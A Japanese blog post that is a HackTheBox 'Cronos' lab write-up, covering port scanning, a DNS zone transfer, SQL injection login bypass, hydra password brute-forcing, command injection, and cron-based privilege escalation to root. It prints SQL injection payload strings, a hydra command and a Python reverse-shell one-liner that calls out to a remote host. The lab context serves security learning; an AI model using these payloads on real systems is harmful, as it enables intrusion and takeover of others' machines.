LoginSignup
2
0

More than 3 years have passed since last update.

【HackTheBox】Cronos - Writeup -

Posted at

【HackTheBox】Cronos

Enumeration(ポート列挙)

#nmap -T5 --min-rate 10000 10.10.10.13                         
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

#nmap -sV -Pn -p22,53,80 -A 10.10.10.13
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

DNSサービスがあるので、詳しく調べていく。

DNS Zone Transfer とは

インターネットのドメイン名をIP解決するためにはDNSサーバーが使われる。
DNSサーバにはマスターとスレーブ(プライマリとセカンダリ)がそれぞれある。

Untitled drawing (1).png

セキュリティホールとなるのはDNSゾーン転送の相手のDNSを指定しない時。
マスターDNSにある情報がそのまま受け渡ってしまうからである。

digコマンドでは axfr オプションでゾーン転送プロトコルを指定して使うことができる。

#dig axfr cronos.htb @10.10.10.13 #domain@IPADDR

; <<>> DiG 9.16.4-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 167 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Sun Jul 12 16:04:02 JST 2020
;; XFR size: 7 records (messages 1, bytes 203)

admin.cronos.htbがあるのでそこへアクセスしてみる。

ユーザーネームとパスワードが求められる。

ユーザーネームはSQLインジェクションで固定のものを使い、パスワードはブルーとフォースする。

# SQLインジェクション一覧
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1-- 

ちなみに、ユーザーネームはURLエンコードしておく。

Hydra でブルーとフォースパスワード

hydra -l(固定ユーザーネーム) -L(ユーザーネームリスト) -P(パスワードリスト) http-[get|post\|etc]-form :/入力変数=^入力値^ :失敗メッセージ
hydra -l admin' # -P /usr/share/wordlists/rockyou.txt admin.cronos.htb http-post-form "/:password=^PASS^:Login Failed" 

ログイン成功。

Nettool

Screenshot from 2020-07-12 20-03-33.png

BurpSuiteでリクエストをインターセプトして、書き換える。

Screenshot from 2020-07-12 20-10-57.png

➜ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.10.13] 60420

すぐ切れてしまう。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

host=上記のPythonコード&host=;とすると、上手くいった。

リバースシェルはここのものを参考: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
いつもお世話になっております:monkey:

ユーザー情報とOSを確認

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$ whoami
www-data

ps -efを走らせると、cronがサービスとして起動している(HTBの名前 Cronos から察した)

cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *   root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
#

php /var/www/laravel/artisanをrootで時々、実行しているので
また先ほどのリバースシェル(PHP)と書き換えると、rootが取れます。

学んだこと

  • DNSを調べずにhttpウェブサイトでかなり時間を消費してしまったので、DNSがある時は必ずDNSを調べる。

気が付いていたら、こんなことまでしていました。

SessionID secure属性/httponly属性を確認
➜  ~ curl -I http://cronos.htb
HTTP/1.1 200 OK
Date: Sun, 12 Jul 2020 06:32:25 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IlBZRzdWUHduNnhiQzBXVUI2VjRHOEE9PSIsInZhbHVlIjoiNE1aZVlRK3dtTXlMQ0ZYcHZ0WmpPZHhvaG80NFpMUjk3OGdoM1wveWU4Q0JjazAwNStNXC9pTUtWdlhoa1JrTVg3a1RcL21od3A3ejlUY05vRlRBbzVMSGc9PSIsIm1hYyI6IjVhM2E1ZDNlZjYyODk3Y2NkY2ZjMmIwZGQ1YTZlZjMzMjdmZTU0NTE4MDliMzU1MTQ3Zjk1NDA1OWUwN2JiYjIifQ%3D%3D; expires=Sun, 12-Jul-2020 08:32:25 GMT; Max-Age=7200; path=/
Set-Cookie: laravel_session=eyJpdiI6IjNhenpaQnZ5QWRYZURpQmx4TWRvNWc9PSIsInZhbHVlIjoieDdOaGhCcmlBVFRIUUxrRG9uXC9xQ0RzSWF4MjNDVDBUNWI4cmVtaUtSUHpvam1JSnJHVG9WWkJjOEx2OUM4TFUzU1lpODFSd2pRWFdcL1Ardmo0XC9kOEE9PSIsIm1hYyI6ImM5YjBkYzJkNTMyZjZkMDFhN2FhMGU1Yjg3NzVjNmJmMzk5NjE5MGY1NjEzYTM4MDRiZmU3M2I4M2EwYjc2NjcifQ%3D%3D; expires=Sun, 12-Jul-2020 08:32:25 GMT; Max-Age=7200; path=/; HttpOnly

読んでくれた方、ありがとうございます:relaxed:
質問や改善点があれば、ぜひコメントをお願いします~

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0